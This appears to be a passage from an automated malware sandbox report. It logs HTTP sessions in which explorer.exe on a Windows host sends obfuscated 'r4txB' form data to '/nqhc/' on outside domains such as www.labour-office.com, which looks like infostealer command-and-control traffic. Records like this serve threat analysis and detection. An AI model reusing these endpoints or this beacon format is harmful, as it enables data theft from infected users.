Nov 21, 2022 19:25:22.484942913 CET	2044	OUT	Data Raw: 4d 73 77 77 72 39 79 38 7a 54 62 42 43 39 4a 74 41 70 65 33 51 68 65 72 4b 32 34 69 66 45 48 31 4a 5a 4f 30 58 51 34 42 50 78 4e 4c 5f 35 6f 67 69 58 5f 4d 49 58 5a 42 69 41 65 76 75 32 50 63 65 77 37 49 34 49 66 33 6c 61 46 5a 59 62 38 6e 6b 79 Data Ascii: Mswwr9y8zTbBC9JtApe3QherK24ifEH1JZO0XQ4BPxNL_5ogiX_MIXZBiAevu2Pcew7I4If3laFZYb8nky3nBOTw2~3skLFDeXlTNdMZGLet169CghV19cw9g~JI30NLZQHTErRYzFO(r4gkZZz~K4_y1LKcwO8kn3I2_WRkT0j93hRmFCTteE2keqh~6nnaCYQLRd_MfQhuaLk5_uy8isO4fbSiNhV8_iBK6nWPwP_eixEkHJt
Nov 21, 2022 19:25:22.485049963 CET	2053	OUT	Data Raw: 5a 6f 4d 59 55 4b 59 62 31 36 6f 4e 35 48 6f 78 59 6e 54 75 44 63 54 6c 56 70 79 5a 41 32 68 36 37 35 4e 35 76 63 76 69 5a 71 6a 76 4f 42 47 5a 5f 76 33 77 64 67 32 33 6f 42 38 50 47 79 30 59 35 53 4b 4d 63 57 5a 38 4d 35 52 70 42 54 44 35 6a 37 Data Ascii: ZoMYUKYb16oN5HoxYnTuDcTlVpyZA2h675N5vcviZqjvOBGZ_v3wdg23oB8PGy0Y5SKMcWZ8M5RpBTD5j72eHsBvWa81F9hNPjziSZ_8XQ5LusFyQAtAThhdU~n41Zb8QbIwoNy3ETkqt3GQhcFjPr8Y9f2F53-ns7paiiBmfyuunAGUduXDnd9vHomOxqRbBADO2tlfeHvd-pY78ocqC3qCUUofeI6o2sxaDk8h_nQ82yFYx52
Nov 21, 2022 19:25:22.485270023 CET	2054	OUT	Data Raw: 48 6a 4f 7a 4b 61 79 66 71 51 35 53 30 75 58 5a 4c 6a 4b 51 67 35 38 67 37 44 39 75 70 37 57 45 54 33 79 44 57 38 42 4f 51 4d 44 39 4a 64 73 44 4d 70 78 4b 6e 7e 61 65 48 33 39 78 76 73 6b 6c 55 70 4d 37 56 75 5f 4f 45 36 61 78 2d 6c 71 48 62 78 Data Ascii: HjOzKayfqQ5S0uXZLjKQg58g7D9up7WET3yDW8BOQMD9JdsDMpxKn~aeH39xvsklUpM7Vu_OE6ax-lqHbxTuKhd7L(c8rxUxIfKuM8E2NYcJ8~sTtcHKINU6R9wXbdqu7TSH9t0h_VwCCDXmgR5BYQg3thmF9xae4rCq4Alf-Wv2FKrW3tn6HWgoKjybfUYBpXNLnapJzKEzhcCrI~lCH~VpvMyc2XusRxeFP~xLx8B8wu3Ib(0
Nov 21, 2022 19:25:22.485455036 CET	2058	OUT	Data Raw: 61 72 61 52 4e 4d 37 7e 30 6c 4c 6b 72 57 38 45 39 4a 54 37 34 73 46 42 30 74 46 58 64 37 6e 4a 69 6d 69 38 58 36 68 64 41 36 54 39 54 30 35 69 50 78 62 55 34 6e 6b 47 42 76 38 6d 31 31 72 5a 5a 7e 52 65 44 6e 74 42 41 7a 79 52 6a 30 4f 48 78 54 Data Ascii: araRNM7~0lLkrW8E9JT74sFB0tFXd7nJimi8X6hdA6T9T05iPxbU4nkGBv8m11rZZ~ReDntBAzyRj0OHxTzVMIrZz7h5ttAEha8Af6VnmkIqtj7Hyagla94DGGtyOy1PZwXf2jMnoIiyXjRP8HgbDpfrv467nCOCxaMxSu9Iosa4tbcujL3D2xsPuNfd7qToEOf0Zo7r7Xe0c3T(teCeHlG9jfD2ErHw8HSRxnslC2Tv8MwpGZz
Nov 21, 2022 19:25:22.648072004 CET	2061	OUT	Data Raw: 5f 71 6b 28 74 6f 6e 31 42 64 4c 43 78 51 6d 6e 4f 61 34 6d 2d 74 4d 66 31 6c 6a 6f 6f 46 77 68 51 6a 74 4f 4b 37 39 4a 30 51 61 36 48 4c 4c 64 42 54 6d 36 5a 6f 70 66 33 64 31 65 51 71 6b 68 57 4e 44 59 54 4f 48 54 67 49 2d 28 62 44 74 4f 34 71 Data Ascii: _qk(ton1BdLCxQmnOa4m-tMf1ljooFwhQjtOK79J0Qa6HLLdBTm6Zopf3d1eQqkhWNDYTOHTgI-(bDtO4qf1kO1DchNfVK2lyL1lVeLTALQqaRuvZ57fLxMzy0aawAlX1Twm4otE6mncRFgGKWlJ_QoumHqMbhBY6iHuSRXlvqp7XQ4lNMr3GR653uB(3uDjz1qafu144Ja4Aplx9BeTKYcA8GF(RWqchgVKKL-EIOlQXc47fsn
Nov 21, 2022 19:25:22.648192883 CET	2071	OUT	Data Raw: 42 6a 57 5a 6a 5a 58 28 43 70 6a 58 79 57 70 59 30 67 2d 28 66 65 4b 6b 46 71 51 74 66 74 4b 4d 59 32 6e 73 65 69 45 59 4b 48 57 7a 64 48 6e 33 74 5a 68 43 36 59 6b 32 50 41 2d 78 56 37 54 74 77 52 4e 6a 64 62 6c 41 59 64 2d 5a 64 50 74 36 76 57 Data Ascii: BjWZjZX(CpjXyWpY0g-(feKkFqQtftKMY2nseiEYKHWzdHn3tZhC6Yk2PA-xV7TtwRNjdblAYd-ZdPt6vWRbVmnmF64UxsgB2NXpgkWkNFymXI8fQSe~SKTZRw2MxsYyEf_Z85UX1mVShfzGBl3ILgsfQpTSTD0vCxB9w8P4JqCR_NfolPozhjrIX6VVd(tuhXvOqI5rCeJsW1avx71sVBbfiWDs-YFo04g07Of60Eb8nsMJCXT
Nov 21, 2022 19:25:22.648268938 CET	2071	OUT	Data Raw: 71 4f 48 28 71 53 43 6e 4d 65 6f 58 69 63 76 72 4c 46 55 38 38 39 36 74 73 63 70 6d 48 4c 56 37 76 6d 34 4f 37 64 64 64 6b 75 74 6d 79 34 4c 6f 6d 58 33 6c 4b 66 57 39 47 63 34 6a 4d 35 71 72 4a 71 55 4b 48 66 6c 6f 46 58 47 77 37 65 44 59 68 76 Data Ascii: qOH(qSCnMeoXicvrLFU8896tscpmHLV7vm4O7dddkutmy4LomX3lKfW9Gc4jM5qrJqUKHfloFXGw7eDYhv2FPqmTb60W9TZtks76kQk6xq8eZZDwaKTGv~25nlR1C(kU7oENYarMeYSBlgAyU0_bjlg94vpmaZ-Y3nR3alI3krvs4Tsq-nzOjWX71wesOm1d3rPknZeDe41D0exawdbvdro2xPzRPZYsM0kfL6k4587zfk7gMu-
Nov 21, 2022 19:25:22.951284885 CET	2073	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:25:22 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.11.20	49913	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:24.508055925 CET	2073	OUT	GET /nqhc/?r4txB=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&1b=S8jD HTTP/1.1 Host: www.gouldent.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:25:24.779979944 CET	2074	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:25:24 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.11.20	49914	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:29.934031963 CET	2076	OUT	POST /nqhc/ HTTP/1.1 Host: www.labour-office.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.labour-office.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.labour-office.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 47 66 39 65 6d 56 74 59 77 50 4b 52 4f 5f 37 59 52 6f 53 69 35 4b 68 76 4b 32 38 32 4e 35 59 72 71 69 61 32 37 31 71 54 36 66 71 49 50 36 41 75 32 4c 4c 2d 7e 4a 33 53 4b 4e 74 62 71 57 57 39 68 4f 7a 6f 37 4a 4e 61 47 38 6f 67 7a 69 4b 6a 51 69 5a 73 41 67 6b 6f 6d 53 58 6d 69 64 78 38 45 78 61 6d 6c 62 6f 7a 31 36 6e 74 77 71 71 73 63 54 5a 65 53 4d 51 4c 6a 2d 58 43 65 7a 34 61 59 62 4a 5a 7a 6a 71 55 70 65 45 43 41 33 4a 71 72 75 76 66 4e 79 74 62 31 57 38 33 4d 57 57 55 68 36 6a 66 64 47 71 38 6e 41 48 59 6e 5a 38 4f 49 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=Gf9emVtYwPKRO_7YRoSi5KhvK282N5Yrqia271qT6fqIP6Au2LL-~J3SKNtbqWW9hOzo7JNaG8ogziKjQiZsAgkomSXmidx8Examlboz16ntwqqscTZeSMQLj-XCez4aYbJZzjqUpeECA3JqruvfNytb1W83MWWUh6jfdGq8nAHYnZ8OIg).
Nov 21, 2022 19:25:30.073663950 CET	2077	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:25:30 GMT content-type: text/html; charset=utf-8 content-length: 4529 vary: Accept-Language content-language: en connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 49 67 64 4f 55 41 72 45 33 7a 45 4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 39 7a 49 69 35 4e 42 59 4d 47 37 67 66 67 41 79 69 77 3a 31 6f 78 42 55 32 3a 35 2d 61 65 6a 6e 69 4e 59 52 4f 67 4f 71 52 46 56 35 6e 42 44 72 35 41 4d 77 6b 2f 32 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 33 35 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 49 67 64 4f 55 41 72 45 33 7a 45 4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 39 7a 49 69 35 4e 42 59 4d 47 37 67 66 67 41 79 69 77 3a 31 6f 78 42 55 32 3a 35 2d 61 65 6a 6e 69 4e 59 52 4f 67 4f 71 52 46 56 35 6e 42 44 72 35 41 4d 77 6b 2f 30 22 20 2f 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 6f 6e 6c 6f 61 64 3d 22 64 6f 5f 6f 6e 6c 6f 61 64 28 29 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 74 6d 72 28 70 61 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5BIgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU2:5-aejniNYROgOqRFV5nBDr5AMwk/2" /> </noscript> <meta http-equiv="refresh" content="35;url=http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5BIgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU2:5-aejniNYROgOqRFV5nBDr5AMwk/0" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function tmr(path) { return function() { window.top.location.href = "http://www.labour-office.com/mtm/direct/.eJxtjDkOgDAMBP_iMoK45zMoWA5B
Nov 21, 2022 19:25:30.073774099 CET	2078	IN	Data Raw: 49 67 64 4f 55 41 72 45 33 7a 45 4e 46 64 32 4f 4e 4c 4d 58 6e 4c 4c 42 42 4a 69 4f 51 41 67 44 4f 46 6d 72 73 69 35 68 7a 38 4b 69 45 46 6f 72 45 32 4c 76 33 65 35 75 79 61 65 4d 32 66 75 4e 32 46 4b 4f 58 78 68 79 62 58 4e 79 6b 54 58 34 4e 64 Data Ascii: IgdOUArE3zENFd2ONLMXnLLBBJiOQAgDOFmrsi5hz8KiEForE2Lv3e5uyaeM2fuN2FKOXxhybXNykTX4Nd9zIi5NBYMG7gfgAyiw:1oxBU2:5-aejniNYROgOqRFV5nBDr5AMwk/" + path + "/"; } } var tmrR = setTimeout(tmr(3), 3000);
Nov 21, 2022 19:25:30.073846102 CET	2080	IN	Data Raw: 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 72 2e 73 6c 69 63 65 28 31 29 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 Data Ascii: s.appendChild(document.createTextNode(r.slice(1))); document.getElementsByTagName("body")[0].appendChild(s); } } function print(msg) { document.getElementsByTagName("
Nov 21, 2022 19:25:30.074390888 CET	2081	IN	Data Raw: 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 78 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 Data Ascii: }; x.onload = function () { if (x.status === 200) { ar(x.responseText); } else { d(4);

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.11.20	49915	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:32.086532116 CET	2082	OUT	POST /nqhc/ HTTP/1.1 Host: www.labour-office.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.labour-office.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.labour-office.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 47 66 39 65 6d 56 74 59 77 50 4b 52 4d 65 72 59 58 50 75 69 7e 71 67 64 48 6d 38 32 62 4a 59 52 71 69 47 32 37 30 7e 44 36 74 4f 49 49 62 77 75 33 4b 4c 2d 37 4a 33 53 43 74 73 52 75 57 58 7a 68 4f 33 61 37 4d 31 61 47 38 38 67 31 41 75 6a 59 79 5a 7a 4c 41 6b 70 6a 69 58 72 78 4e 77 78 45 78 48 50 6c 5a 55 7a 32 4c 4c 74 68 59 53 73 5a 43 5a 52 42 63 51 4a 6c 2d 58 46 48 6a 34 45 59 62 55 6b 7a 68 36 75 71 76 67 43 41 58 70 71 35 65 76 63 55 53 74 63 38 32 39 41 41 7a 37 37 74 62 37 54 4c 54 4b 34 74 44 65 79 75 37 39 41 65 67 30 52 59 36 4e 56 67 52 4e 35 54 4f 6c 58 70 50 47 68 4c 4d 74 76 37 37 52 34 50 32 4b 34 61 4e 44 63 58 6d 39 56 6f 66 7e 67 33 47 4d 4c 6f 73 64 54 7e 70 70 6d 34 63 33 53 53 46 56 79 47 65 36 34 62 51 6e 48 67 62 4f 78 53 71 4f 55 70 34 39 46 72 36 70 2d 57 61 51 68 6e 5f 44 52 31 5f 44 48 75 71 69 72 6c 63 6b 4c 31 4e 61 37 4e 56 35 45 66 69 58 6d 35 41 7a 32 30 57 49 47 56 75 71 76 37 69 59 54 66 45 66 74 37 56 70 62 57 65 35 5f 63 59 6c 77 50 75 62 7a 4d 41 32 69 62 76 66 4e 4d 4b 34 74 38 6f 74 35 68 39 64 37 70 74 4d 6e 78 66 6e 4a 51 52 73 5a 6b 4f 42 6d 6d 4a 64 34 30 76 31 42 78 36 58 63 76 39 48 46 69 52 55 6f 39 43 48 32 46 49 7a 39 4b 75 4c 30 61 76 70 79 5a 31 36 69 4b 33 36 34 7e 30 64 32 6a 73 28 68 79 50 51 59 73 41 64 71 39 37 62 50 55 44 75 76 37 73 50 62 71 71 54 55 50 55 62 76 4b 69 6c 49 62 31 43 4f 76 47 71 4d 49 32 74 63 33 64 72 79 41 35 70 4c 57 53 52 7a 5a 5f 59 70 58 63 49 32 38 65 7e 76 52 52 6e 79 31 71 68 61 4b 78 33 52 65 30 64 51 4a 31 53 36 66 51 66 52 33 30 4d 4e 47 68 67 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=Gf9emVtYwPKRMerYXPui~qgdHm82bJYRqiG270~D6tOIIbwu3KL-7J3SCtsRuWXzhO3a7M1aG88g1AujYyZzLAkpjiXrxNwxExHPlZUz2LLthYSsZCZRBcQJl-XFHj4EYbUkzh6uqvgCAXpq5evcUStc829AAz77tb7TLTK4tDeyu79Aeg0RY6NVgRN5TOlXpPGhLMtv77R4P2K4aNDcXm9Vof~g3GMLosdT~ppm4c3SSFVyGe64bQnHgbOxSqOUp49Fr6p-WaQhn_DR1_DHuqirlckL1Na7NV5EfiXm5Az20WIGVuqv7iYTfEft7VpbWe5_cYlwPubzMA2ibvfNMK4t8ot5h9d7ptMnxfnJQRsZkOBmmJd40v1Bx6Xcv9HFiRUo9CH2FIz9KuL0avpyZ16iK364~0d2js(hyPQYsAdq97bPUDuv7sPbqqTUPUbvKilIb1COvGqMI2tc3dryA5pLWSRzZ_YpXcI28e~vRRny1qhaKx3Re0dQJ1S6fQfR30MNGhg.
Nov 21, 2022 19:25:33.075741053 CET	2083	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:25:33 GMT content-type: text/html; charset=utf-8 content-length: 4529 vary: Accept-Language content-language: en connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 61 62 6f 75 72 2d 6f 66 66 69 63 65 2e 63 6f 6d 2f 6d 74 6d 2f 64 69 72 65 63 74 2f 2e 65 4a 78 74 6a 44 6b 4f 67 44 41 4d 42 50 5f 69 4d 6f 4b 34 35 7a 4d 6f 57 41 35 42 49 67 64 4f 55 41 72 45 33 7a 45 